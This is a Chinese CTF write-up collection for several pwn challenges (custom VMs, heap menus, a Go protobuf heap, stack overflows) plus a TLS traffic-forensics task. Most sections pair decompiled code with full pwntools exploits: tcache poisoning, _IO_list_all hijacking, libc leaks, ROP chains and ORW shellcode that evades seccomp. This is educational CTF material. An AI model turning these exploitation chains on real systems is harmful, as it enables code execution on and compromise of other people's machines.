vm

通过 read_vm 函数还原出 main 函数以及 VM 结构体:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  initit();
  vmdata = mmap((void *)0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL);
  vmcode = (__int64)mmap((void *)0x7063000, 0x10000uLL, 3, 34, -1, 0LL);
  stack = (__int64)mmap((void *)0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000;
  read_vm((struct vm *)&vmdata);
  execute((vm *)&vmdata);
}
00000000 struct vm // sizeof=0x58
00000000 {
00000000     char *vmdata;
00000008     char *pc;
00000010     uint64_t *regs[6];
00000040     char *stack;
00000048     __int64 base;
00000050     __int64 field_50;
00000058 };

其中 regsstackbase 字段在 execute 内部逆向过程中得出。

进入 execute 中的 decode 可以看出指令由指令最低 2 位分为四种:11 - 加载立即数至寄存器、10 - 两个形式地址、01 - 一个形式地址、00 - 带参数的隐含寻址,每种指令每个形式地址有直接寻址和寄存器间接寻址方式排列组合。

__int64 __fastcall decode(struct vm *vm, char *reading_code)
{
  char *vmcode0; // rax
  int low2; // eax
  char *pc; // rax
  char *_opcode1; // rax
  __int64 result; // rax
  char *__code1; // rax
  char *_code2; // rax
  char *vmcode1; // rax
  unsigned __int8 v10; // [rsp+17h] [rbp-9h]
  unsigned int i; // [rsp+18h] [rbp-8h]

  vmcode0 = vm->pc;
  vm->pc = vmcode0 + 1;
  *reading_code = *vmcode0;
  reading_code[1] = *reading_code & 3;
  low2 = (unsigned __int8)reading_code[1];
  if ( low2 == 3 )
  {
    vmcode1 = vm->pc;
    vm->pc = vmcode1 + 1;
    *((_DWORD *)reading_code + 1) = (unsigned __int8)*vmcode1;
    if ( check_reg(*((_DWORD *)reading_code + 1)) )
      return 0xFFFFFFFFLL;
    *((_DWORD *)reading_code + 2) = *(_QWORD *)vm->pc;
    vm->pc += 8;
  }
  else if ( (unsigned __int8)reading_code[1] <= 3u )
  {
    if ( low2 == 2 )                            // 2
    {
      __code1 = vm->pc;
      vm->pc = __code1 + 1;
      *((_DWORD *)reading_code + 1) = (unsigned __int8)*__code1;
      _code2 = vm->pc;
      vm->pc = _code2 + 1;
      *((_DWORD *)reading_code + 2) = (unsigned __int8)*_code2;
      if ( check_reg(*((_DWORD *)reading_code + 1)) && check_reg(*((_DWORD *)reading_code + 2)) )
        return 0xFFFFFFFFLL;
    }
    else if ( reading_code[1] )                 // 1
    {
      _opcode1 = vm->pc;
      vm->pc = _opcode1 + 1;
      v10 = *_opcode1;
      if ( check_reg((unsigned __int8)*_opcode1) )
        return 0xFFFFFFFFLL;
      *((_DWORD *)reading_code + 1) = v10;
    }
    else                                        // 0
    {
      for ( i = 0; i <= 2; ++i )
      {
        *((_DWORD *)reading_code + 1) <<= 8;
        pc = vm->pc;
        vm->pc = pc + 1;
        *((_DWORD *)reading_code + 1) |= (unsigned __int8)*pc;
      }
    }
  }
  result = (unsigned __int8)*reading_code;
  if ( !(_BYTE)result )
    return 0xFFFFFFFFLL;
  return result;
}
void __fastcall __noreturn execute(vm *vm)
{
  int M; // eax
  _BYTE *code; // [rsp+18h] [rbp-8h]

  code = malloc(12uLL);
  memset(code, 0, 8uLL);
  do
  {
    if ( (unsigned int)decode(vm, code) == -1 )
      break;
    M = *code & 3;
    if ( M == 3 )                               // imm
    {
      imm(vm, code);
    }
    else if ( (*code & 3u) <= 3 )
    {
      if ( M == 2 )                             // 2
      {
        two((__int64)vm, (__int64)code);
      }
      else if ( (*code & 3) != 0 )              // 1
      {
        one(vm, (__int64)code);
      }
      else                                      // 3*1
      {
        three((__int64)vm, (__int64)code);
      }
    }
    memset(code, 0, 0xCuLL);
    if ( vm->pc <= (char *)0x7062FFF )
      break;
  }
  while ( vm->pc <= (char *)0x7162FFF && vm->stack > (char *)0x73746162FFFLL && vm->stack <= (char *)0x73746183000LL );
  puts("Segment error");
  _exit(0);
}

然后可以照着 ROM vmcode 文件辅助分析,可以抄录 vmcode 如下:

load %0, $1     ; stdout
load %1, $0     ; vmdata + 0
load %2, $0x1b  ; length
syscall 0, 0, 1 ; SYS_write
???
pop %0          ; clear %0
pop %1          ; clear %1
add %1, $0x200  ; vmdata + 0x200
xor %0, %0      ; stdin
load %2, $0x300 ; length
syscall 0, 0, 0 ; SYS_read
jmp %1;         ; jump to vmcode + 0x300

各种指令最关键的是 VM syscall,有 read、write、exit、create、delete、load(从 vmdata 写入堆)、put(从堆写入 vmdata)。

void __fastcall heap_op(__int64 a1, __int64 a2, void *a3, size_t a4)
{
  switch ( (int)a1 )
  {
    case 0:
      if ( ((unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL)
        && ((unsigned __int64)a3 <= 0x7062FFF || (unsigned __int64)a3 > 0x7073000) )
      {
        insecure(a1, a2);
      }
      read(a2, a3, a4);
      break;
    case 1:
      if ( (unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL )
        insecure(a1, a2);
      write(a2, a3, a4);
      break;
    case 2:
      exit(a2);
    case 3:
      create(a2);
      break;
    case 4:
      delete(a2);
      break;
    case 5:
      load(a2, (unsigned int)a3, a4);
      break;
    case 6:
      put(a2, (unsigned int)a3, a4);
      break;
    default:
      return;
  }
}

其中 create、delete 为堆操作,add 限制 16 个, delete 有 UAF 漏洞。

__int64 __fastcall create(unsigned int size)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; chunks[i] && i <= 15; ++i )
    ;
  if ( i == 16 )
    return 0LL;
  chunks[i] = malloc(size);
  if ( !chunks[i] )
    return 0LL;
  sizes[i] = size;
  return 1LL;
}
void __fastcall delete(unsigned int idx)
{
  if ( idx <= 0xF )
  {
    if ( chunks[idx] )
      free((void *)chunks[idx]);                // UAF
  }
}

然后就是典型的 libc 堆利用。参考之前抄写的 ROM vmcode,依葫芦画瓢写出堆操作模板。

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

unsorted bin chunk leak libc_base,tcache bin chunk leak heap_base。利用 UAF 修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)getshell。

d995597d-d16e-461f-9c8c-493287f656e2

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vm'

io = process('./vm')
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io)
'b *$rebase(0x1599)\n'
'b *$rebase(0x196f)\nb *$rebase(0x1924)\nb *$rebase(0x1743)'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', file.read()[4:])

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', add(0x500) + add(0x50) + delete(0) + put_to(0, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])

libc.address = u64(io.recv(8)) - 2206944
print(f'libc_base: {hex(libc.address)}')

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', delete(1) + put_to(1, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])
heap_base = u64(io.recv(8))
print(f'heap_base: {hex(heap_base)}')
print(f'search -t qword {hex(libc.sym['_IO_list_all'] ^ heap_base)}')

fake_file_offset = 0x7063aa8
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base << 12) + 0x1000)
payload = hos.hoi_read_file_template((heap_base << 12) + 0x1000, 0x400, (heap_base << 12) + 0x1000, 0)

io.sendlineafter(b'opcodes:\n', (edit(1, 0x200, 0x16) + delete(1) + load_to(0x100, (libc.sym['_IO_list_all'] ^ heap_base) & 0xffffffff) + load_to(0x104, (libc.sym['_IO_list_all'] ^ heap_base) >> 32) + edit(1, 0x100, 0x8) + add(0x50) + add(0x50) + load_to(0x200, fake_file_offset) + edit(3, 0x200, 0x8) + exitit()).ljust(0x150, b'\x00') + payload)

hos.bomb(io)

io.interactive()

5G消息_TLS

根据题目标题和流量内容,用 Wireshark 分析电话/SIP 流,其中第一条短信是:

Alice, I am Bob. I stole the sslkeylog file, this is crazy.

接下来 Bob 将 keylog_file 分段发送。将这几条短信内容拼接得到:

SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795
EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0
SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630
CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0
CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405

将它保存为文件,在 Wireshark 编辑/首选项/Protocols/TLS 中设置 (Pre)-Master-Secret log filename 即可解密 TLS 流。在短信之前的 TLS 流中可以提取到 PNG 图片,内容即为 flag:

abcdef1234567890deadbeefc0ffeeba

anote

菜单堆,堆块大小固定为 0x1c,edit 时有明显堆溢出。堆块上有一 edit callback 函数指针,修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后,但是可以堆溢出修改相邻堆上的 callback 函数指针。

Exp:

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './note'

io = process(binary)
e = ELF(binary)

# size: 0x1c
def add():
    io.sendlineafter(b'>>', b'1')

def show(index: int):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b': ', itob(index))

# size <= 0x28
def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', itob(size))
    io.sendlineafter(b': ', content)

def exit():
    io.sendlineafter(b'>>', b'4') 

backdoor = 0x080489CE

add()
add()
show(0)
io.recvuntil(b'gift: ')
heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8
success(f'heap_addr: {heap_backdoor_addr:x}')
edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr))
edit(1, 4, p32(0))

io.interactive()

avm

VM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。

功能有加减乘除等基本运算,没有直接的加载立即数。opcode 10 是 load from stack,opcode 9 是 write to stack,两者皆不检查边界,栈上任意读写。输入的 command 在栈上,可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc,VM 内计算真实地址,写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题,所以返回到 system 中跳过一次 push 的位置。

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def code(opcode: int, a: int, b: int, r: int) -> bytes:
    return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r)

main_ret_addr_offset = 171408
system_8 = 329986

io.send(code(10, 3384, 0, 1) +  # load main retaddr to *1

        code(10, 328, 0, 2) +  # load offset0 to *2
        code(10, 336, 0, 3) +  # load offset1 to *3
        code(10, 344, 0, 4) +  # load offset2 to *4

        code(1, 2, 1, 5) +  # add *2 by *1 to *5
        code(1, 3, 1, 6) +  # add *3 by *1 to *6
        code(1, 4, 1, 7) +  # add *4 by *1 to *7

        code(9, 0x118 + 16, 8, 7) +  # write *7 to *retaddr+16
        code(9, 0x118 + 8, 8, 6) +  # write *6 to *retaddr+8
        code(9, 0x118 + 0, 8, 5) +  # write *5 to *retaddr

        p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) +  # offset0
        p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) +  # offset1
        p64(system_8 - main_ret_addr_offset)  # offset2 (system)
        )

io.interactive()

novel1

程序分为两部分,partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket,hash % bucket_count 相等的 key 放进同一 bucket,对于 bloodstains,key 类型是 unsigned int,其 std::hash 算法结果就是其值本身。partII 中输入一个 key,把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上,如果同一 bucket 中的 key-value 够多,可以造成栈溢出。需要注意当 bucket 满时会进行 rehash,对于不同 size 的 bloodstainsbucket_count 不同,需要重新计算。栈溢出覆盖暂存栈基址和返回地址,利用 gift backdoor RACHE 栈迁移至 bss 段 author,利用 puts@plt GOT leak libc base,然后返回至 fgets 在程序中调用位置写入 ROP chain,getshell。不能使用 glibc-all-in-one 的 libc,必须从 docker image 里拿。

PoC:

#include <iostream>
#include <unordered_map>

int main() {
  std::unordered_map<unsigned int, unsigned long> map;
  for (unsigned int i = 0; i < 0x17; ++i) {
    map[i * 29] = 0;
  }
  std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl;
  return 0;
}
// 29 23 23

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './novel1'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回,需要调用两次。

def add(key: int, value: int):
    io.sendlineafter(b'Chapter: ', b'1')
    io.sendlineafter(b'Blood: ', str(key))
    io.sendlineafter(b'Evidence: ', str(value))

for i in range(0x17):
    add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据
io.sendlineafter(b'Chapter: ', b'2')
io.sendlineafter(b'Blood: ', b'0')

io.recvuntil(b'638\n' * 7)
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {libc.address:x}')

io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP

io.interactive()

SuperHeap

go 套壳的普通 libc 2.35 heap。go 主函数逻辑在 main_main,可以看到有 seccomp 沙箱,用 seccomp-tools 查看:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x08 0x00 0x00000029  if (A == socket) goto 0014
 0006: 0x15 0x07 0x00 0x0000002a  if (A == connect) goto 0014
 0007: 0x15 0x06 0x00 0x00000031  if (A == bind) goto 0014
 0008: 0x15 0x05 0x00 0x00000032  if (A == listen) goto 0014
 0009: 0x15 0x04 0x00 0x00000038  if (A == clone) goto 0014
 0010: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0014
 0011: 0x15 0x02 0x00 0x00000065  if (A == ptrace) goto 0014
 0012: 0x15 0x01 0x00 0x000000a5  if (A == mount) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0015: 0x06 0x00 0x00 0x00000000  return KILL

,只允许 x86_64,禁掉了 execvesocket 之类,最好 ORW 吧。

然后来到真正的菜单堆逻辑:

while (1) {
    v15 = main_BPUGMG();
    v16 = qword_41A3D0;
    v21 = *(void (***)(void))runtime_mapaccess2_fast64(
        (unsigned int)&RTYPE_map_int_func, qword_41A3D0, v15);
    if (v16) {
        (*v21)();
    } else {
        v35[0] = &RTYPE_string;
        v35[1] = &aInval;
        v1 = 1;
        v2 = 1;
        fmt_Fprintln((unsigned int)off_2BCBE8, qword_41A3E8, (unsigned int)v35,
                     1, 1, (unsigned int)&aInval);
    }
}

。输入数字,从一个 map 取出对应功能函数并执行。创建 CTFBook 逻辑在 main_WEB5SF,其中会读入字符串并解码然后创建新 CTFBook,解码过程是:

encoding_base32__ptr_Encoding_DecodeString -> github_com_golang_protobuf_proto_Unmarshal -> 各字段 encoding_base64__ptr_Encoding_DecodeString

重点是 protobuf,用到的库是 github.com/golang/protobuf,这个库应该是可以直接识别 go 原生类,反序列化对应的 protobuf 数据,因此之后我们编码的时候可以直接用类定义里的字段名(之前做过 go json 序列化的题,json 里的字段名和类定义里的不同,排了很久的错)。到 IDA 的 Local Types,可以看到这个结构体:

00000000 struct __attribute__((aligned(8))) mypackage_CTFBook // sizeof=0x78
00000000 {
00000000     impl_MessageState state;
00000008     int32 sizeCache;
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     _slice_uint8 unknownFields;
00000028     string Title;
00000038     string Author;
00000048     string Isbn;
00000058     string PublishDate;
00000068     float64 Price;
00000070     int32 Stock;
00000074     // padding byte
00000075     // padding byte
00000076     // padding byte
00000077     // padding byte
00000078 };

,其中 statesizeCacheunknownFields 应该是 protobuf 库生成的,CTFBook 原本的字段是 TitleAuthorIsbnPublishDatePriceStock。所以可以编写这样的 .proto 文件:

syntax = "proto3";

package mypackage;

message CTFBook {
    string Title = 1;
    string Author = 2;
    string Isbn = 3;
    string PublishDate = 4;
    double Price = 5;
    int32 Stock = 6;
}

protoc 编译成 Python 脚本:

$ protoc ctf_book.proto --python_out=.

然后就可以用 Python 愉快输入了:

from ctf_book_pb2 import CTFBook
from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

之后简单 fuzz 一下发现虽然没有 UAF ,但是 edit 时不会检查长度,可以任意堆溢出。所以可以修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

完整 exp:

#!/usr/bin/python

from pwn import *
from ctypes import *
from ctf_book_pb2 import CTFBook

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './SuperHeap'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

gdb.attach(io, 'set resolve-heap-via-heuristic force') # goroutine 多线程会干扰 pwndbg 识别 main_arena

from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

# count: 28
def add(index: int, book: Book):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def show(index: int):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b': ', itob(index))

def delete(index: int):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b': ', itob(index))

def edit(index: int, book: Book):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def search(keyword: str):
    io.sendlineafter(b'> ', b'5')
    io.sendlineafter(b': ', keyword.encode())

add(0, Book(cyclic(0x800), b'', b'', b'', 0, 0))
delete(0)
for i in range(5):
    add(i, Book(b'', b'', b'', b'', 0, 0))
show(4)
io.recvuntil(b'Author: ')
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2207136
print(f'libc_base: 0x{libc.address:x}')
show(3)
io.recvuntil(b'Title: ')
heap_base = (u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2) << 12
print(f'heap_base: 0x{heap_base:x}')

edit(4, Book(cyclic(40) + p64(0x81) + p64(libc.sym['_IO_list_all'] ^ ((heap_base >> 12) + 2)), b'bbb2', b'ccc3', b'ddd4', 10101, 20202))
add(5, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))
add(6, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

from SomeofHouse import HouseOfSome

hos = HouseOfSome(libc=libc, controled_addr=heap_base + 0x1000)
payload = hos.hoi_read_file_template(heap_base + 0x1000, 0x400, heap_base + 0x1000, 0)
print(payload)
add(7, Book(payload + b'rrrr', b'', b'', b'', 0, 0))
add(8, Book(p64(heap_base + 13344) + cyclic(0x68), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

io.sendlineafter(b'> ', b'6')
hos.bomb_orw(io, b'/flag')

io.interactive()

虽然做出来了,但是对于 go 部分的理解还比较混乱。

unint

输入负数作为无符号整数得到“无限”长栈溢出,fmtstr 获取 canary,32 位栈传参 ret2libc。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './unint' 

# p = process(binary) 
p = connect('27.25.151.80', 40288) 
e = ELF(binary) 
libc = ELF('./libc.so.6') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'%7$p') 
p.recvuntil(b':') 
canary = int(p.recvuntil(b'S', drop=True), 16) 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(e.sym['puts']) + p32(e.sym['vuln']) +
 p32(e.got['puts'])) 
p.recvuntil(b'\n') 
libc.address = u32(p.recv(4)) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'RiK') 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(libc.address + 0x3a81c)) 

p.interactive()

Sharwama

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"]) 
binary = './Shawarma' 

p = connect('27.25.151.80', 33485) 
e = ELF(binary) 

# gdb.attach(p, "set follow-fork-mode parent") 

for i in range(1000): 
    p.sendline(b'5') 

p.sendline(b'2') 

p.interactive()

ret2half

首先绕过给出种子的猜随机数得到 admin 权限,可自由 view chunk。存在 UAF,限制 add 9 次。申请 0x10 大小获得先前 free chunk in tcache,view 得堆基址(tcache safe-linking xor with null)。然后 tcache poisoning 将 fake chunk 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,view(回答玩原神)leak libc base。过程中顺便填入之后要用到的 shellcode。修改 tcache_perthread_struct 中 0x20 tcache_entry 为 &_environ、0x30 tcache_entry 为 &(0x80 tcache_entry),再次申请 0x10 大小 chunk 至 &_environ,view leak stack base。申请 0x20 大小 chunk 至 0x80 tcache_entry,写入 &stack;申请 0x70 大小 chunk 至 stack,写入 ROP 调用 mprotect 修改堆区页可执行并 ret2shellcode。本题开启 seccomp 沙箱禁用 execve open 等,需要 ORW(openat2、read、write)。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './ret2half'

#  line  CODE  JT   JF      K
# =================================
#  0000: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0001: 0x35 0x00 0x03 0x40000000  if (A < 0x40000000) goto 0005
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x15 0x01 0x00 0xffffffff  if (A == 0xffffffff) goto 0005
#  0004: 0x06 0x00 0x00 0x00000000  return KILL
#  0005: 0x15 0x0b 0x00 0x00000065  if (A == ptrace) goto 0017
#  0006: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0007: 0x15 0x09 0x00 0x00000130  if (A == open_by_handle_at) goto 0017
#  0008: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0009: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0017
#  0010: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0011: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0017
#  0012: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0013: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0017
#  0014: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0015: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0017
#  0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0017: 0x06 0x00 0x00 0x00000000  return KILL

p = process(binary)
e = ELF(binary)
libc = cdll.LoadLibrary('./libc.so.6')

p.sendlineafter(b':\n', cyclic(9))
p.sendlineafter(b':\n', cyclic(9))

# get admin
p.sendlineafter(b':\n', b'3')
p.recvuntil(b'?\n')
seed = int(p.recv())
libc.srand(seed)
p.sendline(str(libc.rand()).encode())
libc = ELF('./libc.so.6')

# max: 9, size 1 ~ 112
def add(size: int, content: bytes):
    p.sendlineafter(b':\n', b'1')
    p.sendlineafter(b':\n', str(size).encode())
    p.sendlineafter(b':\n', content)

def edit(content: bytes):
    p.sendlineafter(b':\n', b'2')
    p.sendlineafter(b':\n', content)

def view():
    p.sendlineafter(b':\n', b'3')

def delete():
    p.sendlineafter(b':\n', b'4')

# gdb.attach(p)

add(0x10, b'')
view()
p.recvuntil(b'info:\n')
heap_base = (u64(p.recv(5).ljust(8, b'\x00')) >> 4) << 12
success(f'heap_base: {hex(heap_base)}')

shellcode = f"""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat2 ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    mov rdx, {heap_base + 0x1000}
    push 0x18 ; pop r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
"""

add(0x70, b'asd')
delete()
edit(p64(heap_base + 0x10))
add(0x70, asm(shellcode))

add(0x70, b'\x00' * ((0x250 - 0x20) // 0x10) + b'\x07')
delete()
view()
p.sendlineafter(b'Y/N', b'Y')
p.recvuntil(b'info:')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0
success(f'libc_base: {hex(libc.address)}')

edit(b'\x01' * 0x40 + p64(libc.sym['_environ'] - 0x10) + p64(heap_base + 0x10 + 0x40 + ((0x80 - 0x20) // 0x10) * 0x8))
add(0x10, b'a' * 0xf)
view()
p.recvuntil(b'a' * 0xf + b'\n')
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x100
success(f'stack: {hex(stack)}')

add(0x20, p64(stack))

rop = flat([
    p64(libc.search(asm('pop rdi\nret')).__next__()), heap_base,
    # 0x0000000000130539 : pop rdx ; pop rsi ; ret;
    libc.address + 0x130539, 0x7, 0x1000,
    libc.sym['mprotect'],
    heap_base + 0x2a0
])

add(0x70, rop)

p.interactive()

远程栈偏移(environ)为 本地 - 0x8。

off-by-one

